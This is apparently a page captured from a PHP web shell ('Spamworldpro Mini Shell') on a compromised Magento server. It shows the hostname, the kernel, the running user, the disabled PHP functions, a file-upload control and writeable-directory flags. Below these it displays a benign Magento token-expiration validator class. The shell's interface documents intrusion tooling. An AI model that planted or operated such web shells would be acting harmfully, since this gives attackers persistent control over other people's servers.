Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-integration/Model/UserToken/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-integration/Model/UserToken/ExpirationValidator.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

declare(strict_types=1);

namespace Magento\Integration\Model\UserToken;

use Magento\Authorization\Model\UserContextInterface;
use Magento\Framework\Exception\AuthorizationException;
use Magento\Integration\Api\Data\UserToken;
use Magento\Integration\Api\UserTokenValidatorInterface;
use Magento\Framework\Stdlib\DateTime\DateTime as DtUtil;

/**
 * Validates if a token is expired
 */
class ExpirationValidator implements UserTokenValidatorInterface
{
    /**
     * @var DtUtil
     */
    private $datetimeUtil;

    /**
     * @param DtUtil $datetimeUtil
     */
    public function __construct(DtUtil $datetimeUtil)
    {
        $this->datetimeUtil = $datetimeUtil;
    }

    /**
     * @inheritDoc
     */
    public function validate(UserToken $token): void
    {
        if (!$this->isIntegrationToken($token) && $this->isTokenExpired($token)) {
            throw new AuthorizationException(__('Consumer key has expired'));
        }
    }

    /**
     * Check if a token is expired
     *
     * @param UserToken $token
     * @return bool
     */
    private function isTokenExpired(UserToken $token): bool
    {
        return $token->getData()->getExpires()->getTimestamp() <= $this->datetimeUtil->gmtTimestamp();
    }

    /**
     * Check if a token is an integration token
     *
     * @param UserToken $token
     * @return bool
     */
    private function isIntegrationToken(UserToken $token): bool
    {
        return $token->getUserContext()->getUserType() === UserContextInterface::USER_TYPE_INTEGRATION;
    }
}

Spamworldpro Mini